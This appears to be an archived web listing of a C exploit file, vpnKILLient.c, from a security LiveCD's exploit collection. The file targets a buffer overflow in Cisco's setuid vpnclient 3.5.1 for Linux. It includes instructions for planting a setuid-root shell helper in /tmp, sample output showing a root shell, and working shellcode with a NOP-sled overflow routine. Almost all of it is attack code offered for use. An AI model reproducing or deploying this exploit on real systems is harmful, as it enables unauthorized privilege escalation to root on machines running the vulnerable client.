home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / vpnclient / vpnKILLient.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  85 lines

  1. /* buffer overflow for cisco's vpnclient for linux
  2.    tested against the latest release: vpnclient-linux-3.5.1.Rel-k9.tar.gz
  3.  
  4.    to get this to properly work, you need to put the following code into
  5.    xx.c, compile it (as xx), and place the executable into /tmp (to bypass
  6.    tight PAM restrictions)
  7.  
  8.    #include <stdio.h>
  9.    main() {
  10.      setuid(0);
  11.      execl("/bin/sh", "sh", NULL);
  12.    }
  13.  
  14.    then compile this and run it. syntax is ./vpnclient <offset>
  15.    tested under gentoo linux and debian:
  16.    $ ls -la `which vpnclient`
  17.    -rws--x--x    1 root   root   160900 Apr 13 22:34 /usr/local/bin/vpnclient
  18.    $ ./vpnKILLient 
  19.    addr: 0xbffffbac, offset: 0
  20.    Cisco Systems VPN Client Version 3.5.1 (Rel)
  21.    Copyright (C) 1998-2002 Cisco Systems, Inc. All Rights Reserved.
  22.    Client Type(s): Linux
  23.    Running on: Linux 2.4.17 #1 Sat Apr 13 21:53:52 EDT 2002 i686
  24.  
  25.    sh-2.05a# id
  26.    uid=0(root) gid=100(users) groups=100(users),10(wheel)
  27.  
  28.    greetz: all of the angrypacket crew (of course)
  29.            shok  -> pheerable^2;
  30.            vegac -> 31336++;
  31.  
  32.    when you get a chance, check out http://sec.angrypacket.com
  33. */
  34.  
  35. #include <stdio.h>
  36. #include <string.h>
  37. #include <unistd.h>
  38.  
  39. #define NOP 0x90
  40. #define LEN 620 /* 520 to own eip */
  41.  
  42. /* shellcode by vegac (setuid(0)->/tmp/xx) */
  43. /* wont work if your /tmp partition is mounted noexec or nosuid */
  44. char shell[]=
  45.         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  46.         "\x31\xc0\x50\x68\x2f\x2f\x78\x78"
  47.         "\x68\x2f\x74\x6d\x70\x89\xe3\x31"
  48.         "\xc0\x50\x89\xe2\x54\x89\xe1\xb0"
  49.         "\x0b\xcd\x80\x00";
  50.  
  51. unsigned long get_sp (void) {
  52.     __asm__("mov %esp,%eax");
  53. }
  54. int main(int argc, char *argv[]) {
  55.  
  56.     int i, offset=0;
  57.     long addr;
  58.     char *buf, *ptr;
  59.  
  60.     if(argc > 1) offset = atoi(argv[1]);
  61.  
  62.     buf = (char *)malloc(sizeof(char) * LEN);
  63.     bzero(buf, LEN);
  64.     addr = get_sp() - offset;
  65.     printf("addr: 0x%x, offset: %d\n", addr, offset);
  66.  
  67.     for(i = 0; i < LEN; i += 4) {
  68.         *(long *)&buf[i] = addr;
  69.     }
  70.  
  71.     for(i = 0; i < (LEN / 2); i++) {
  72.         *(buf + i) = NOP;
  73.     }
  74.  
  75.     ptr = buf + ((LEN / 2) - (strlen(shell) / 2));
  76.     for(i = 0; i < strlen(shell); i++) {
  77.         *(ptr++) = shell[i];
  78.     }
  79.     buf[LEN - 1] = '\0';
  80.  
  81.     execl("/usr/local/bin/vpnclient", "vpnclient", "connect", buf, 0);
  82.     return(0);
  83.  
  84. }
  85.